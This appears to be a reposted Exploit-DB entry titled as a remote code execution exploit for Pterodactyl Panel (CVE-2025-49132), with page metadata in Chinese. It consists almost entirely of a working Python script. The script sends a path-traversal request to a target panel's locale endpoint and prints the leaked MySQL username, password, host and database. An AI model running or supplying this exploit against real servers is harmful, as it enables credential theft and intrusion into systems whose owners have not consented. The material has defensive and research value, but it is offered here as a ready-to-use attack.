Pterodactyl Panel 1.11.11 – Remote Code Execution (RCE)

• Exploit Database
• 7 阅读

• 作者： Zen-kun04
  日期： 2025-06-26
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/52341/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

  # Exploit Title: Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) # Date: 22/06/2025 # Exploit Author: Zen-kun04 # Vendor Homepage: https://pterodactyl.io/ # Software Link: https://github.com/pterodactyl/panel # Version: < 1.11.11 # Tested on: Ubuntu 22.04.5 LTS # CVE: CVE-2025-49132     import requests import json import argparse import colorama import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)   arg_parser = argparse.ArgumentParser( description="Check if the target is vulnerable to CVE-2025-49132.") arg_parser.add_argument("target", help="The target URL") args = arg_parser.parse_args()   try: target = args.target.strip() + &apos;/&apos; if not args.target.strip().endswith(&apos;/&apos;) else args.target.strip() r = requests.get(f"{target}locales/locale.json?locale=../../../pterodactyl&namespace=config/database", allow_redirects=True, timeout=5, verify=False) if r.status_code == 200 and "pterodactyl" in r.text.lower(): try: raw_data = r.json() data = { "success": True, "host": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("host", "N/A"), "port": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("port", "N/A"), "database": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("database", "N/A"), "username": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("username", "N/A"), "password": raw_data["../../../pterodactyl"]["config/database"]["connections"]["mysql"].get("password", "N/A") } print(f"{colorama.Fore.LIGHTGREEN_EX}{target} => {data[&apos;username&apos;]}:{data[&apos;password&apos;]}@{data[&apos;host&apos;]}:{data[&apos;port&apos;]}/{data[&apos;database&apos;]}{colorama.Fore.RESET}") except json.JSONDecodeError: print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET) except TypeError: print(colorama.Fore.YELLOW + "Vulnerable but no database" + colorama.Fore.RESET) else: print(colorama.Fore.RED + "Not vulnerable" + colorama.Fore.RESET) except requests.RequestException as e: if "NameResolutionError" in str(e): print(colorama.Fore.RED + "Invalid target or unable to resolve domain" + colorama.Fore.RESET) else: print(f"{colorama.Fore.RED}Request error: {e}{colorama.Fore.RESET}")